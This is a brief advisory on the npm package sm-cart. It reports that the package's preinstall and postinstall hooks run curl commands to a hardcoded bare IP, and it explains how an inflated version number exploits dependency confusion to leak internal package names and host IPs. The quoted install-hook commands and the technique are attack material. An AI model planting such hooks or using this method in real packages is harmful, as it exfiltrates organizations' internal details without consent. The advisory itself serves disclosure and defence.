sm-cart @99.0.1

Summary

Package sm-cart@99.0.0 declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s http://16.192.173.5/sm-cart/post on every install, causing the installing host to beacon over plain HTTP to a hardcoded bare-IP endpoint at install time. The package has no functional code (index.js only logs and exports an empty object), self-identifies in its manifest as a 'dependency confusion test', and uses an implausibly high version number (99.0.0) designed to win private-name resolution when an organization has an internal package also named 'sm-cart'. The result is that a build system whose internal 'sm-cart' resolves to this public package discloses the internal package name, the host's public IP, and successful installation to the operator of 16.192.173.5.

Source: amazon-inspector (14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0)